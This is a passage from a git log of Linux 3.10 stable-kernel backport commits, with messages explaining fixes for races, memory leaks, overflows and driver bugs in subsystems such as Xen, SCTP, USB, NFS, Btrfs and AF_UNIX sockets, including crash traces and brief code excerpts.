hole by making kvmppc_set_msr_hv() check for the illegal combination and force the TS field to a safe value (00, meaning non-transactional). Signed-off-by: Paul Mackerras Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad7385a56455efc93651c4de238b23ead47886de Author: Ouyang Zhaowei (Charles) Date: Wed May 6 09:47:04 2015 +0800 x86/xen: don't reset vcpu_info on a cancelled suspend commit 6a1f513776b78c994045287073e55bae44ed9f8c upstream. On a cancelled suspend the vcpu_info location does not change (it's still in the per-cpu area registered by xen_vcpu_setup()). So do not call xen_hvm_init_shared_info() which would make the kernel think its back in the shared info. With the wrong vcpu_info, events cannot be received and the domain will hang after a cancelled suspend. Signed-off-by: Charles Ouyang Reviewed-by: Boris Ostrovsky Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 458760ddc7a86363e472bbc873ea66b1a96e2896 Author: Boris Ostrovsky Date: Tue Nov 10 15:10:33 2015 -0500 xen/gntdev: Grant maps should not be subject to NUMA balancing commit 9c17d96500f78d7ecdb71ca6942830158bc75a2b upstream. Doing so will cause the grant to be unmapped and then, during fault handling, the fault to be mistakenly treated as NUMA hint fault. In addition, even if those maps could partcipate in NUMA balancing, it wouldn't provide any benefit since we are unable to determine physical page's node (even if/when VNUMA is implemented). Marking grant maps' VMAs as VM_IO will exclude them from being part of NUMA balancing. Signed-off-by: Boris Ostrovsky Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a2c456857ca13325ae852d34a7e5d5f7916de59 Author: Dmitry V. Levin Date: Tue Dec 1 00:54:36 2015 +0300 x86/signal: Fix restart_syscall number for x32 tasks commit 22eab1108781eff09961ae7001704f7bd8fb1dce upstream. When restarting a syscall with regs->ax == -ERESTART_RESTARTBLOCK, regs->ax is assigned to a restart_syscall number. For x32 tasks, this syscall number must have __X32_SYSCALL_BIT set, otherwise it will be an x86_64 syscall number instead of a valid x32 syscall number. This issue has been there since the introduction of x32. Reported-by: strace/tests/restart_syscall.test Reported-and-tested-by: Elvira Khabirova Signed-off-by: Dmitry V. Levin Cc: Elvira Khabirova Link: http://lkml.kernel.org/r/20151130215436.GA25996@altlinux.org Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aea8c03d3d610299d8b93b61b3cfe8a2accfb7a6 Author: Willy Tarreau Date: Sun Jan 24 09:19:57 2016 +0100 af_unix: fix incorrect revert of 'lock_interruptible' in stream receive code As reported by Sultan Qasim, commit 3822b5c ("af_unix: Revert 'lock_interruptible' in stream receive code") was accidently applied at the wrong place in the backport that appeared in 3.10.95, it affected unix_dgram_recvmsg() instead of unix_stream_recvmsg() due to now similar code sections there. The dgram part needs to remain but the stream part needs to be removed. Reported-By: Sultan Qasim Fixes: 3a57e78 (3.10.95) Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9ff644f343ca8ea6557cd8037b10ce1d0eeeae19 Author: Greg Kroah-Hartman Date: Fri Jan 22 20:33:57 2016 -0800 Linux 3.10.95 Signed-off-by: Pranav Vashi commit f9d5d5cd462386603e51974502f4157ee28fe2bc Author: David Howells Date: Fri Sep 25 16:30:08 2015 +0100 KEYS: Fix race between key destruction and finding a keyring by name commit 94c4554ba07adbdde396748ee7ae01e86cf2d8d7 upstream. There appears to be a race between: (1) key_gc_unused_keys() which frees key->security and then calls keyring_destroy() to unlink the name from the name list (2) find_keyring_by_name() which calls key_permission(), thus accessing key->security, on a key before checking to see whether the key usage is 0 (ie. the key is dead and might be cleaned up). Fix this by calling ->destroy() before cleaning up the core key data - including key->security. Reported-by: Petr Matousek Signed-off-by: David Howells Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d139aa4ba4a785b21889b35ccb3b4ffd3612d5bf Author: Rainer Weikusat Date: Wed Dec 16 20:09:25 2015 +0000 af_unix: Revert 'lock_interruptible' in stream receive code [ Upstream commit 3822b5c2fc62e3de8a0f33806ff279fb7df92432 ] With b3ca9b02b00704053a38bfe4c31dbbb9c13595d0, the AF_UNIX SOCK_STREAM receive code was changed from using mutex_lock(&u->readlock) to mutex_lock_interruptible(&u->readlock) to prevent signals from being delayed for an indefinite time if a thread sleeping on the mutex happened to be selected for handling the signal. But this was never a problem with the stream receive code (as opposed to its datagram counterpart) as that never went to sleep waiting for new messages with the mutex held and thus, wouldn't cause secondary readers to block on the mutex waiting for the sleeping primary reader. As the interruptible locking makes the code more complicated in exchange for no benefit, change it back to using mutex_lock. Signed-off-by: Rainer Weikusat Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35a0d5931b797d749c8a86dfe8b3191ed736dcdc Author: David S. Miller Date: Tue Dec 15 15:39:08 2015 -0500 bluetooth: Validate socket address length in sco_sock_bind(). [ Upstream commit 5233252fce714053f0151680933571a2da9cbfb4 ] Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3409d165d46f0240da2fddab669948b70f2478c1 Author: WANG Cong Date: Mon Dec 14 13:48:36 2015 -0800 pptp: verify sockaddr_len in pptp_bind() and pptp_connect() [ Upstream commit 09ccfd238e5a0e670d8178cf50180ea81ae09ae1 ] Reported-by: Dmitry Vyukov Signed-off-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b82150718008c0ccc2b55c9fcddf0d0687c77b4f Author: Sergei Shtylyov Date: Fri Dec 4 01:45:40 2015 +0300 sh_eth: fix kernel oops in skb_put() [ Upstream commit 248be83dcb3feb3f6332eb3d010a016402138484 ] In a low memory situation the following kernel oops occurs: Unable to handle kernel NULL pointer dereference at virtual address 00000050 pgd = 8490c000 [00000050] *pgd=4651e831, *pte=00000000, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT ARM Modules linked in: CPU: 0 Not tainted (3.4-at16 #9) PC is at skb_put+0x10/0x98 LR is at sh_eth_poll+0x2c8/0xa10 pc : [<8035f780>] lr : [<8028bf50>] psr: 60000113 sp : 84eb1a90 ip : 84eb1ac8 fp : 84eb1ac4 r10: 0000003f r9 : 000005ea r8 : 00000000 r7 : 00000000 r6 : 940453b0 r5 : 00030000 r4 : 9381b180 r3 : 00000000 r2 : 00000000 r1 : 000005ea r0 : 00000000 Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user Control: 10c53c7d Table: 4248c059 DAC: 00000015 Process klogd (pid: 2046, stack limit = 0x84eb02e8) [...] This is because netdev_alloc_skb() fails and 'mdp->rx_skbuff[entry]' is left NULL but sh_eth_rx() later uses it without checking. Add such check... Reported-by: Yasushi SHOJI Signed-off-by: Sergei Shtylyov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52750ebedcfc0c8c8de8a0f6b23c77e505311944 Author: Eric Dumazet Date: Wed Dec 9 07:25:06 2015 -0800 ipv6: sctp: clone options to avoid use after free [ Upstream commit 9470e24f35ab81574da54e69df90c1eb4a96b43f ] SCTP is lacking proper np->opt cloning at accept() time. TCP and DCCP use ipv6_dup_options() helper, do the same in SCTP. We might later factorize this code in a common helper to avoid future mistakes. Reported-by: Dmitry Vyukov Signed-off-by: Eric Dumazet Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01dea789222328052c1cca89802b2e0ba7874099 Author: Marcelo Ricardo Leitner Date: Fri Dec 4 15:14:04 2015 -0200 sctp: update the netstamp_needed counter when copying sockets [ Upstream commit 01ce63c90170283a9855d1db4fe81934dddce648 ] Dmitry Vyukov reported that SCTP was triggering a WARN on socket destroy related to disabling sock timestamp. When SCTP accepts an association or peel one off, it copies sock flags but forgot to call net_enable_timestamp() if a packet timestamping flag was copied, leading to extra calls to net_disable_timestamp() whenever such clones were closed. The fix is to call net_enable_timestamp() whenever we copy a sock with that flag on, like tcp does. Reported-by: Dmitry Vyukov Signed-off-by: Marcelo Ricardo Leitner Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcdd81595e5bee59c4e66547ddde63abb8d6fcec Author: Pavel Machek Date: Fri Dec 4 09:50:00 2015 +0100 atl1c: Improve driver not to do order 4 GFP_ATOMIC allocation [ Upstream commit f2a3771ae8aca879c32336c76ad05a017629bae2 ] atl1c driver is doing order-4 allocation with GFP_ATOMIC priority. That often breaks networking after resume. Switch to GFP_KERNEL. Still not ideal, but should be significantly better. atl1c_setup_ring_resources() is called from .open() function, and already uses GFP_KERNEL, so this change is safe. Signed-off-by: Pavel Machek Acked-by: Michal Hocko Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1acafb1f48a1e31d4fe3d80f30d4bc5cd099077 Author: Nicolas Dichtel Date: Thu Dec 3 17:21:50 2015 +0100 gre6: allow to update all parameters via rtnl [ Upstream commit 6a61d4dbf4f54b5683e0f1e58d873cecca7cb977 ] Parameters were updated only if the kernel was unable to find the tunnel with the new parameters, ie only if core pamareters were updated (keys, addr, link, type). Now it's possible to update ttl, hoplimit, flowinfo and flags. Fixes: c12b395a4664 ("gre: Support GRE over IPv6") Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4da7e59fd87a4d040db9c919b4f8a4bfb04a2e70 Author: Ben Hutchings Date: Wed Nov 18 02:01:21 2015 +0000 usb: Use the USB_SS_MULT() macro to decode burst multiplier for log message commit 5377adb092664d336ac212499961cac5e8728794 upstream. usb_parse_ss_endpoint_companion() now decodes the burst multiplier correctly in order to check that it's <= 3, but still uses the wrong expression if warning that it's > 3. Fixes: ff30cbc8da42 ("usb: Use the USB_SS_MULT() macro to get the ...") Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08e9ceb9409608dde0194957f693af422f079e9d Author: Alexey Khoroshilov Date: Sat Nov 21 00:36:44 2015 +0300 USB: whci-hcd: add check for dma mapping error commit f9fa1887dcf26bd346665a6ae3d3f53dec54cba1 upstream. qset_fill_page_list() do not check for dma mapping errors. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3246c44717a7634fa0d7b2f8e7ff6f46362bfc8b Author: Alan Stern Date: Thu Dec 10 15:27:21 2015 -0500 USB: add quirk for devices with broken LPM commit ad87e03213b552a5c33d5e1e7a19a73768397010 upstream. Some USB device / host controller combinations seem to have problems with Link Power Management. For example, Steinar found that his xHCI controller wouldn't handle bandwidth calculations correctly for two video cards simultaneously when LPM was enabled, even though the bus had plenty of bandwidth available. This patch introduces a new quirk flag for devices that should remain disabled for LPM, and creates quirk entries for Steinar's devices. Signed-off-by: Alan Stern Reported-by: Steinar H. Gunderson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 703ef1c8664702a5e2e50f6ff8bb36c1b824abdc Author: Konstantin Shkolnyy Date: Tue Nov 10 16:40:13 2015 -0600 USB: cp210x: Remove CP2110 ID from compatibility list commit 7c90e610b60cd1ed6abafd806acfaedccbbe52d1 upstream. CP2110 ID (0x10c4, 0xea80) doesn't belong here because it's a HID and completely different from CP210x devices. Signed-off-by: Konstantin Shkolnyy Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e3e47cd6036e3c38a8620b56ed848c6b33cbacbb Author: Jonas Jonsson Date: Sun Nov 22 11:47:17 2015 +0100 USB: cdc_acm: Ignore Infineon Flash Loader utility commit f33a7f72e5fc033daccbb8d4753d7c5c41a4d67b upstream. Some modems, such as the Telit UE910, are using an Infineon Flash Loader utility. It has two interfaces, 2/2/0 (Abstract Modem) and 10/0/0 (CDC Data). The latter can be used as a serial interface to upgrade the firmware of the modem. However, that isn't possible when the cdc-acm driver takes control of the device. The following is an explanation of the behaviour by Daniele Palmas during discussion on linux-usb. "This is what happens when the device is turned on (without modifying the drivers): [155492.352031] usb 1-3: new high-speed USB device number 27 using ehci-pci [155492.485429] usb 1-3: config 1 interface 0 altsetting 0 endpoint 0x81 has an invalid bInterval 255, changing to 11 [155492.485436] usb 1-3: New USB device found, idVendor=058b, idProduct=0041 [155492.485439] usb 1-3: New USB device strings: Mfr=0, Product=0, SerialNumber=0 [155492.485952] cdc_acm 1-3:1.0: ttyACM0: USB ACM device This is the flashing device that is caught by the cdc-acm driver. Once the ttyACM appears, the application starts sending a magic string (simple write on the file descriptor) to keep the device in flashing mode. If this magic string is not properly received in a certain time interval, the modem goes on in normal operative mode: [155493.748094] usb 1-3: USB disconnect, device number 27 [155494.916025] usb 1-3: new high-speed USB device number 28 using ehci-pci [155495.059978] usb 1-3: New USB device found, idVendor=1bc7, idProduct=0021 [155495.059983] usb 1-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [155495.059986] usb 1-3: Product: 6 CDC-ACM + 1 CDC-ECM [155495.059989] usb 1-3: Manufacturer: Telit [155495.059992] usb 1-3: SerialNumber: 359658044004697 [155495.138958] cdc_acm 1-3:1.0: ttyACM0: USB ACM device [155495.140832] cdc_acm 1-3:1.2: ttyACM1: USB ACM device [155495.142827] cdc_acm 1-3:1.4: ttyACM2: USB ACM device [155495.144462] cdc_acm 1-3:1.6: ttyACM3: USB ACM device [155495.145967] cdc_acm 1-3:1.8: ttyACM4: USB ACM device [155495.147588] cdc_acm 1-3:1.10: ttyACM5: USB ACM device [155495.154322] cdc_ether 1-3:1.12 wwan0: register 'cdc_ether' at usb-0000:00:1a.7-3, Mobile Broadband Network Device, 00:00:11:12:13:14 Using the cdc-acm driver, the string, though being sent in the same way than using the usb-serial-simple driver (I can confirm that the data is passing properly since I used an hw usb sniffer), does not make the device to stay in flashing mode." Signed-off-by: Jonas Jonsson Tested-by: Daniele Palmas Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cb1096d9c5396a6a04a367bda573998d398231a6 Author: Jeff Layton Date: Wed Nov 25 13:50:11 2015 -0500 nfs: if we have no valid attrs, then don't declare the attribute cache valid commit c812012f9ca7cf89c9e1a1cd512e6c3b5be04b85 upstream. If we pass in an empty nfs_fattr struct to nfs_update_inode, it will (correctly) not update any of the attributes, but it then clears the NFS_INO_INVALID_ATTR flag, which indicates that the attributes are up to date. Don't clear the flag if the fattr struct has no valid attrs to apply. Reviewed-by: Steve French Signed-off-by: Jeff Layton Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82a0b5709f88f50453975e4903c4fcdbadf09f6f Author: Benjamin Coddington Date: Fri Nov 20 09:56:20 2015 -0500 nfs4: start callback_ident at idr 1 commit c68a027c05709330fe5b2f50c50d5fa02124b5d8 upstream. If clp->cl_cb_ident is zero, then nfs_cb_idr_remove_locked() skips removing it when the nfs_client is freed. A decoding or server bug can then find and try to put that first nfs_client which would lead to a crash. Signed-off-by: Benjamin Coddington Fixes: d6870312659d ("nfs4client: convert to idr_alloc()") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6ba8681f01fe9d9efee608f53bacc45da8936ca1 Author: Stefan Richter Date: Tue Nov 3 01:46:21 2015 +0100 firewire: ohci: fix JMicron JMB38x IT context discovery commit 100ceb66d5c40cc0c7018e06a9474302470be73c upstream. Reported by Clifford and Craig for JMicron OHCI-1394 + SDHCI combo controllers: Often or even most of the time, the controller is initialized with the message "added OHCI v1.10 device as card 0, 4 IR + 0 IT contexts, quirks 0x10". With 0 isochronous transmit DMA contexts (IT contexts), applications like audio output are impossible. However, OHCI-1394 demands that at least 4 IT contexts are implemented by the link layer controller, and indeed JMicron JMB38x do implement four of them. Only their IsoXmitIntMask register is unreliable at early access. With my own JMB381 single function controller I found: - I can reproduce the problem with a lower probability than Craig's. - If I put a loop around the section which clears and reads IsoXmitIntMask, then either the first or the second attempt will return the correct initial mask of 0x0000000f. I never encountered a case of needing more than a second attempt. - Consequently, if I put a dummy reg_read(...IsoXmitIntMaskSet) before the first write, the subsequent read will return the correct result. - If I merely ignore a wrong read result and force the known real result, later isochronous transmit DMA usage works just fine. So let's just fix this chip bug up by the latter method. Tested with JMB381 on kernel 3.13 and 4.3. Since OHCI-1394 generally requires 4 IT contexts at a minium, this workaround is simply applied whenever the initial read of IsoXmitIntMask returns 0, regardless whether it's a JMicron chip or not. I never heard of this issue together with any other chip though. I am not 100% sure that this fix works on the OHCI-1394 part of JMB380 and JMB388 combo controllers exactly the same as on the JMB381 single- function controller, but so far I haven't had a chance to let an owner of a combo chip run a patched kernel. Strangely enough, IsoRecvIntMask is always reported correctly, even though it is probed right before IsoXmitIntMask. Reported-by: Clifford Dunn Reported-by: Craig Moore Signed-off-by: Stefan Richter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a80953be226a9efc4e3829679e7d3b68d4a0585d Author: Daeho Jeong Date: Sun Oct 18 17:02:56 2015 -0400 ext4, jbd2: ensure entering into panic after recording an error in superblock commit 4327ba52afd03fc4b5afa0ee1d774c9c5b0e85c5 upstream. If a EXT4 filesystem utilizes JBD2 journaling and an error occurs, the journaling will be aborted first and the error number will be recorded into JBD2 superblock and, finally, the system will enter into the panic state in "errors=panic" option. But, in the rare case, this sequence is little twisted like the below figure and it will happen that the system enters into panic state, which means the system reset in mobile environment, before completion of recording an error in the journal superblock. In this case, e2fsck cannot recognize that the filesystem failure occurred in the previous run and the corruption wouldn't be fixed. Task A Task B ext4_handle_error() -> jbd2_journal_abort() -> __journal_abort_soft() -> __jbd2_journal_abort_hard() | -> journal->j_flags |= JBD2_ABORT; | | __ext4_abort() | -> jbd2_journal_abort() | | -> __journal_abort_soft() | | -> if (journal->j_flags & JBD2_ABORT) | | return; | -> panic() | -> jbd2_journal_update_sb_errno() Tested-by: Hobin Woo Signed-off-by: Daeho Jeong Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea45a03dd722b9ae2fac8b75c4861d3c21fde426 Author: Filipe Manana Date: Mon Nov 9 00:33:58 2015 +0000 Btrfs: fix race leading to BUG_ON when running delalloc for nodatacow commit 1d512cb77bdbda80f0dd0620a3b260d697fd581d upstream. If we are using the NO_HOLES feature, we have a tiny time window when running delalloc for a nodatacow inode where we can race with a concurrent link or xattr add operation leading to a BUG_ON. This happens because at run_delalloc_nocow() we end up casting a leaf item of type BTRFS_INODE_[REF|EXTREF]_KEY or of type BTRFS_XATTR_ITEM_KEY to a file extent item (struct btrfs_file_extent_item) and then analyse its extent type field, which won't match any of the expected extent types (values BTRFS_FILE_EXTENT_[REG|PREALLOC|INLINE]) and therefore trigger an explicit BUG_ON(1). The following sequence diagram shows how the race happens when running a no-cow dellaloc range [4K, 8K[ for inode 257 and we have the following neighbour leafs: Leaf X (has N items) Leaf Y [ ... (257 INODE_ITEM 0) (257 INODE_REF 256) ] [ (257 EXTENT_DATA 8192), ... ] slot N - 2 slot N - 1 slot 0 (Note the implicit hole for inode 257 regarding the [0, 8K[ range) CPU 1 CPU 2 run_dealloc_nocow() btrfs_lookup_file_extent() --> searches for a key with value (257 EXTENT_DATA 4096) in the fs/subvol tree --> returns us a path with path->nodes[0] == leaf X and path->slots[0] == N because path->slots[0] is >= btrfs_header_nritems(leaf X), it calls btrfs_next_leaf() btrfs_next_leaf() --> releases the path hard link added to our inode, with key (257 INODE_REF 500) added to the end of leaf X, so leaf X now has N + 1 keys --> searches for the key (257 INODE_REF 256), because it was the last key in leaf X before it released the path, with path->keep_locks set to 1 --> ends up at leaf X again and it verifies that the key (257 INODE_REF 256) is no longer the last key in the leaf, so it returns with path->nodes[0] == leaf X and path->slots[0] == N, pointing to the new item with key (257 INODE_REF 500) the loop iteration of run_dealloc_nocow() does not break out the loop and continues because the key referenced in the path at path->nodes[0] and path->slots[0] is for inode 257, its type is < BTRFS_EXTENT_DATA_KEY and its offset (500) is less then our delalloc range's end (8192) the item pointed by the path, an inode reference item, is (incorrectly) interpreted as a file extent item and we get an invalid extent type, leading to the BUG_ON(1): if (extent_type == BTRFS_FILE_EXTENT_REG || extent_type == BTRFS_FILE_EXTENT_PREALLOC) { (...) } else if (extent_type == BTRFS_FILE_EXTENT_INLINE) { (...) } else { BUG_ON(1) } The same can happen if a xattr is added concurrently and ends up having a key with an offset smaller then the delalloc's range end. So fix this by skipping keys with a type smaller than BTRFS_EXTENT_DATA_KEY. Signed-off-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ffc4f2127069ba0754c72a67a1fcded79fedbf2d Author: Eric Dumazet Date: Tue Dec 1 07:20:07 2015 -0800 ipv6: sctp: implement sctp_v6_destroy_sock() [ Upstream commit 602dd62dfbda3e63a2d6a3cbde953ebe82bf5087 ] Dmitry Vyukov reported a memory leak using IPV6 SCTP sockets. We need to call inet6_destroy_sock() to properly release inet6 specific fields. Reported-by: Dmitry Vyukov Signed-off-by: Eric Dumazet Acked-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5855a3e236f0dfded1adf2a0f0d5f03643abf241 Author: Michal KubeÄek Date: Tue Nov 24 15:07:11 2015 +0100 ipv6: distinguish frag queues by device for multicast and link-local packets [ Upstream commit 264640fc2c5f4f913db5c73fa3eb1ead2c45e9d7 ] If a fragmented multicast packet is received on an ethernet device which has an active macvlan on top of it, each fragment is duplicated and received both on the underlying device and the macvlan. If some fragments for macvlan are processed before the whole packet for the underlying device is reassembled, the "overlapping fragments" test in ip6_frag_queue() discards the whole fragment queue. To resolve this, add device ifindex to the search key and require it to match reassembling multicast packets and packets to link-local addresses. Note: similar patch has been already submitted by Yoshifuji Hideaki in http://patchwork.ozlabs.org/patch/220979/ but got lost and forgotten for some reason. Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 232617d2fee46067f56862bc98a5491f76e5b36e Author: Aaro Koskinen Date: Sun Nov 22 01:08:54 2015 +0200 broadcom: fix PHY_ID_BCM5481 entry in the id table [ Upstream commit 3c25a860d17b7378822f35d8c9141db9507e3beb ] Commit fcb26ec5b18d ("broadcom: move all PHY_ID's to header") updated broadcom_tbl to use PHY_IDs, but incorrectly replaced 0x0143bca0 with PHY_ID_BCM5482 (making a duplicate entry, and completely omitting the original). Fix that. Fixes: fcb26ec5b18d ("broadcom: move all PHY_ID's to header") Signed-off-by: Aaro Koskinen Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc82a68c3ea34640958f88ef1ed2bd53b880aad4 Author: Nikolay Aleksandrov Date: Fri Nov 20 13:54:20 2015 +0100 net: ip6mr: fix static mfc/dev leaks on table destruction [ Upstream commit 4c6980462f32b4f282c5d8e5f7ea8070e2937725 ] Similar to ipv4, when destroying an mrt table the static mfc entries and the static devices are kept, which leads to devices that can never be destroyed (because of refcnt taken) and leaked memory. Make sure that everything is cleaned up on netns destruction. Fixes: 8229efdaef1e ("netns: ip6mr: enable namespace support in ipv6 multicast forwarding code") CC: Benjamin Thery Signed-off-by: Nikolay Aleksandrov Reviewed-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 90c6c35c894b041d6ce01dc03a72230b44560989 Author: Nikolay Aleksandrov Date: Fri Nov 20 13:54:19 2015 +0100 net: ipmr: fix static mfc/dev leaks on table destruction [ Upstream commit 0e615e9601a15efeeb8942cf7cd4dadba0c8c5a7 ] When destroying an mrt table the static mfc entries and the static devices are kept, which leads to devices that can never be destroyed (because of refcnt taken) and leaked memory, for example: unreferenced object 0xffff880034c144c0 (size 192): comm "mfc-broken", pid 4777, jiffies 4320349055 (age 46001.964s) hex dump (first 32 bytes): 98 53 f0 34 00 88 ff ff 98 53 f0 34 00 88 ff ff .S.4.....S.4.... ef 0a 0a 14 01 02 03 04 00 00 00 00 01 00 00 00 ................ backtrace: [] kmemleak_alloc+0x4e/0xb0 [] kmem_cache_alloc+0x190/0x300 [] ip_mroute_setsockopt+0x5cb/0x910 [] do_ip_setsockopt.isra.11+0x105/0xff0 [] ip_setsockopt+0x30/0xa0 [] raw_setsockopt+0x33/0x90 [] sock_common_setsockopt+0x14/0x20 [] SyS_setsockopt+0x71/0xc0 [] entry_SYSCALL_64_fastpath+0x16/0x7a [] 0xffffffffffffffff Make sure that everything is cleaned on netns destruction. Signed-off-by: Nikolay Aleksandrov Reviewed-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1cdd5871487a7753a0f0f9f857d26df87c65bc66 Author: Daniel Borkmann Date: Fri Nov 20 00:11:56 2015 +0100 net, scm: fix PaX detected msg_controllen overflow in scm_detach_fds [ Upstream commit 6900317f5eff0a7070c5936e5383f589e0de7a09 ] David and HacKurx reported a following/similar size overflow triggered in a grsecurity kernel, thanks to PaX's gcc size overflow plugin: (Already fixed in later grsecurity versions by Brad and PaX Team.) [ 1002.296137] PAX: size overflow detected in function scm_detach_fds net/core/scm.c:314 cicus.202_127 min, count: 4, decl: msg_controllen; num: 0; context: msghdr; [ 1002.296145] CPU: 0 PID: 3685 Comm: scm_rights_recv Not tainted 4.2.3-grsec+ #7 [ 1002.296149] Hardware name: Apple Inc. MacBookAir5,1/Mac-66F35F19FE2A0D05, [...] [ 1002.296153] ffffffff81c27366 0000000000000000 ffffffff81c27375 ffffc90007843aa8 [ 1002.296162] ffffffff818129ba 0000000000000000 ffffffff81c27366 ffffc90007843ad8 [ 1002.296169] ffffffff8121f838 fffffffffffffffc fffffffffffffffc ffffc90007843e60 [ 1002.296176] Call Trace: [ 1002.296190] [] dump_stack+0x45/0x57 [ 1002.296200] [] report_size_overflow+0x38/0x60 [ 1002.296209] [] scm_detach_fds+0x2ce/0x300 [ 1002.296220] [] unix_stream_read_generic+0x609/0x930 [ 1002.296228] [] unix_stream_recvmsg+0x4f/0x60 [ 1002.296236] [] ? unix_set_peek_off+0x50/0x50 [ 1002.296243] [] sock_recvmsg+0x47/0x60 [ 1002.296248] [] ___sys_recvmsg+0xe2/0x1e0 [ 1002.296257] [] __sys_recvmsg+0x46/0x80 [ 1002.296263] [] SyS_recvmsg+0x2c/0x40 [ 1002.296271] [] entry_SYSCALL_64_fastpath+0x12/0x85 Further investigation showed that this can happen when an *odd* number of fds are being passed over AF_UNIX sockets. In these cases CMSG_LEN(i * sizeof(int)) and CMSG_SPACE(i * sizeof(int)), where i is the number of successfully passed fds, differ by 4 bytes due to the extra CMSG_ALIGN() padding in CMSG_SPACE() to an 8 byte boundary on 64 bit. The padding is used to align subsequent cmsg headers in the control buffer. When the control buffer passed in from the receiver side *lacks* these 4 bytes (e.g. due to buggy/wrong API usage), then msg->msg_controllen will overflow in scm_detach_fds(): int cmlen = CMSG_LEN(i * sizeof(int)); <--- cmlen w/o tail-padding err = put_user(SOL_SOCKET, &cm->cmsg_level); if (!err) err = put_user(SCM_RIGHTS, &cm->cmsg_type); if (!err) err = put_user(cmlen, &cm->cmsg_len); if (!err) { cmlen = CMSG_SPACE(i * sizeof(int)); <--- cmlen w/ 4 byte extra tail-padding msg->msg_control += cmlen; msg->msg_controllen -= cmlen; <--- iff no tail-padding space here ... } ... wrap-around F.e. it will wrap to a length of 18446744073709551612 bytes in case the receiver passed in msg->msg_controllen of 20 bytes, and the sender properly transferred 1 fd to the receiver, so that its CMSG_LEN results in 20 bytes and CMSG_SPACE in 24 bytes. In case of MSG_CMSG_COMPAT (scm_detach_fds_compat()), I haven't seen an issue in my tests as alignment seems always on 4 byte boundary. Same should be in case of native 32 bit, where we end up with 4 byte boundaries as well. In practice, passing msg->msg_controllen of 20 to recvmsg() while receiving a single fd would mean that on successful return, msg->msg_controllen is being set by the kernel to 24 bytes instead, thus more than the input buffer advertised. It could f.e. become an issue if such application later on zeroes or copies the control buffer based on the returned msg->msg_controllen elsewhere. Maximum number of fds we can send is a hard upper limit SCM_MAX_FD (253). Going over the code, it seems like msg->msg_controllen is not being read after scm_detach_fds() in scm_recv() anymore by the kernel, good! Relevant recvmsg() handler are unix_dgram_recvmsg() (unix_seqpacket_recvmsg()) and unix_stream_recvmsg(). Both return back to their recvmsg() caller, and ___sys_recvmsg() places the updated length, that is, new msg_control - old msg_control pointer into msg->msg_controllen (hence the 24 bytes seen in the example). Long time ago, Wei Yongjun fixed something related in commit 1ac70e7ad24a ("[NET]: Fix function put_cmsg() which may cause usr application memory overflow"). RFC3542, section 20.2. says: The fields shown as "XX" are possible padding, between the cmsghdr structure and the data, and between the data and the next cmsghdr structure, if required by the implementation. While sending an application may or may not include padding at the end of last ancillary data in msg_controllen and implementations must accept both as valid. On receiving a portable application must provide space for padding at the end of the last ancillary data as implementations may copy out the padding at the end of the control message buffer and include it in the received msg_controllen. When recvmsg() is called if msg_controllen is too small for all the ancillary data items including any trailing padding after the last item an implementation may set MSG_CTRUNC. Since we didn't place MSG_CTRUNC for already quite a long time, just do the same as in 1ac70e7ad24a to avoid an overflow. Btw, even man-page author got this wrong :/ See db939c9b26e9 ("cmsg.3: Fix error in SCM_RIGHTS code sample"). Some people must have copied this (?), thus it got triggered in the wild (reported several times during boot by David and HacKurx). No Fixes tag this time as pre 2002 (that is, pre history tree). Reported-by: David Sterba Reported-by: HacKurx Cc: PaX Team Cc: Emese 